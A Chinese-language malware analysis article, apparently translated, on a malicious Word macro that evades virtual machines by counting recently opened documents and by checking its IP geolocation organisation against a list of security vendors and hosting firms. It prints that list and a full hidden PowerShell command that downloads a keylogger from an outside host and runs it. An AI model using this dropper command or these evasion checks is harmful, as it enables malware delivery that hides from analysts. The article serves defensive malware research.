这个恶意软件“奇葩”的反虚拟机技巧
最近,我分析到一个行为异常的恶意软件样本。由于很难发现该恶意软件的真实行为,所以我花了很多时间去调试分析。然而在分析过程中,又有多种因素会导致运行崩溃和异常。在此,我就发表了对该恶意软件反虚拟机的一些技术。
样本信息
恶意软件样本文件名为“Intelligent Software Solutions Inc.doc“,其SHA256值为:
048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e
以下是样本文件打开运行时的示例:
如果这看起来不太可疑,请看其代码视图:
这是一个经典的教科书式的WORD恶意软件,它没有实质内容,但包括了经过混淆的可执行代码,看上去非常简洁。
分析调查
从代码层面来看,顶部的分支程序像是程序的执行入口,很有可能是当WORD文档被打开后,点击“enable contenet” 执行Active X控件的操作,最终,程序会排错调用IuIxpP子程序。
技巧:
在子程序 IuIxpP中,分别调用了两个方法DKTxHE 和 qrNjY,并抛出不同的执行错误。
其中,DKTxHE 功能为:
RecentFiles对象表示系统最近打开过的历史文档。通常,安装了word程序的用户可能会打开超过2个或更多数量的文档。然而,当该恶意软件植入到新创建的虚拟机和word环境中后,总是状况不断,不能正常运行。每次测试时手动打开一两次,总是出现程序异常。即使是保存了虚拟机镜像状态,重启调试分析后,恶意程序仍然不能正常执行。
从DKTxHE函数功能可以看出,恶意软件以RecentFiles数量来判断是否身处VM环境中,如果在VM环境中,它将不会执行任何恶意行为,非常“聪明”。之后,我随意创建了3个不同名称的word文档,逐一打开并关闭,让历史文档数量为3,最终成功运行并检测到了恶意软件。
原因很明了,虚拟机环境一般缺乏多个Word文档,恶意程序通过探测最近打开的历史文档数量,判断是否处于VM环境中,如果在最近打开文档数量内发现只有3个以下的word文档,就会拒绝执行。
技巧:
在另一个子程序 qrNjY中,恶意软件通过探测IP信息来识别VM环境。首先,它通过向远程地址发出某种认证请求,
https://www.maxmind.com/geoip/v2.1/city/me
之后设置请求信息中的HTTP Refer属性和User-Agent值,访问链接:
https://www.maxmind.com/en/locate-my-ip-address
以此获取宿主系统的地址信息,如:
获取信息封装于JSON格式文件中,包含国家、城市、或者与IP相关的组织机构等信息。如:
{
"location": {
"latitude": 30.7858,
"longitude": -102.1232,
"metro_code": 705,
"accuracy_radius": 5,
"time_zone": "America/Los_Angeles"
},
"continent": {
"names": {
"ja": "北アメリカ",
"pt-BR": "América do Norte",
"de": "Nordamerika",
"es": "Norteamérica",
"ru": "Северная Америка",
"fr": "Amérique du Nord",
"zh-CN": "北美洲",
"en": "North America"
},
"code": "NA",
"geoname_id": 6255149
},
"city": {
"names": {
"pt-BR": "Oakland",
"de": "Oakland",
"es": "Oakland",
"ja": "オークランド",
"en": "Oakland",
"ru": "Окленд",
"fr": "Oakland",
"zh-CN": "奥克兰"
},
"geoname_id": 5378538
},
"postal": {
"code": "94619"
},
"country": {
"names": {
"ru": "США",
"fr": "états-Unis",
"zh-CN": "美国",
"en": "United States",
"ja": "アメリカ合衆国",
"es": "Estados Unidos",
"pt-BR": "Estados Unidos",
"de": "USA"
},
"iso_code": "US",
"geoname_id": 6252001
},
"traits": {
"organization": "Comcast Cable",
"isp": "Comcast Cable",
"ip_address": "123.123.123.123",
"autonomous_system_organization": "Comcast Cable Communications, LLC",
"domain": "comcast.net",
"autonomous_system_number": 7922
},
"registered_country": {
"geoname_id": 6252001,
"names": {
"zh-CN": "美国",
"ru": "США",
"fr": "états-Unis",
"en": "United States",
"ja": "アメリカ合衆国",
"pt-BR": "Estados Unidos",
"de": "USA",
"es": "Estados Unidos"
},
"iso_code": "US"
},
"subdivisions": [
{
"geoname_id": 5332921,
"names": {
"ru": "Калифорния",
"fr": "Californie",
"zh-CN": "加利福尼亚州",
"en": "California",
"ja": "カリフォルニア州",
"pt-BR": "Califórnia",
"es": "California",
"de": "Kalifornien"
},
"iso_code": "CA"
}
]
}
在以上示例文件中,IP信息的organization字段显示为美国Comcast宽带网络供应商。恶意软件发出访问请求后,获取到宿主系统的相关信息将存储于某个数组中。如果获取到的组织机构名称与以下JSON文件中的任何机构字符串匹配,恶意软件将发生异常并停止运行。
AmazonanonymousBitDefenderBlackOakComputersBlue CoatBlueCoatCiscocloudData CenterDataCenterDataCentrededicatedESET, SpolFireEyeForcePointFortinetHetznerhispeed.chhostedHostingIron PortIronPortLeaseWebMessageLabsMicrosoftMimeCastNForceOvh SasPalo AltoProofPointRackspacesecurityServerStrong TechnologiesTrend MicroTrendMicroTrustWaveVMVaultZscaler
当然,上述列表中的机构名称在代码中是经过混淆的:
以上信息表明,恶意程序通过检查,是否有网络服务商或杀毒软件公司相关的IP地址运行VM虚拟机对其进行调试分析,如果有,将停止运行。
PAYLOAD
如果恶意程序发现宿主系统有3个或以上的Word最近打开文档,将会执行远程下载解盘记录程序的PowerShell脚本:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)
http://silkflowersdecordesign.com/admin/worddata.dat中涉及的worddata.dat是一个轻量级的键盘记录程序,SHA256为19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744。
其它
Researchers at Proofpoint 和Deepen Desai at zscaler两篇文章都对 anti-vm和anti-sandbox做了深入讨论,这些技术涉及到了不同种类的恶意软件,它们或许代表了VBA恶意软件的一种发展趋势。
当然,看雪论坛的一篇经典文章《虚拟机检测技术剖析》,也是非常值得学习的。
*参考来源:Sentinelone, *FB小编clouds编译,未经许可禁止转载
- Mysql group by实现方式(一) - 临时表
- TensorFlow 入门
- Python 爬虫 1 快速入门
- Exim Off-by-one(CVE-2018-6789)漏洞复现分析
- 一文学会用 Tensorflow 搭建神经网络
- 数据降维处理:PCA之特征值分解法例子解析
- 理解Eureka的自我保护模式
- 如何使用Feign构造多参数的请求
- 最简日志打印规范
- 碎片化 | 第四阶段-47-值栈细节问题-视频
- word2vec 模型思想和代码实现
- 碎片化 | 第四阶段-48-hibernate概述和配置-视频
- 【LEETCODE】模拟面试-357- Count Numbers with Unique Digits
- Python 爬虫 2 爬取多页网页
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 数据库基础开源学习教程-android 使用 litepal 操作本地数据库
- 红黑树——动态+静态图
- 一文读懂Python实现张量运算
- javascript之闭包基础了解
- Python中的多处理与多线程:新手简介
- Fortran中的陷阱-NAMELIST
- 当Excel遇到大数据问题,是时候用Python来拯救了
- PySCF程序包平均场计算的一些收敛技巧
- 你应该知道的10个Python文件系统方法
- 适合初学者的Python装饰器的简易教程
- 一起刷Leetcode第一篇,数组和字典的妙用
- 加速Python列表和字典,让你代码更加高效
- 如何使用Python的Flask和谷歌app Engine来构建一个web app
- 如何用Python实现电子邮件的自动化
- 在Win下安装Visual Studio和Parallel Studio XE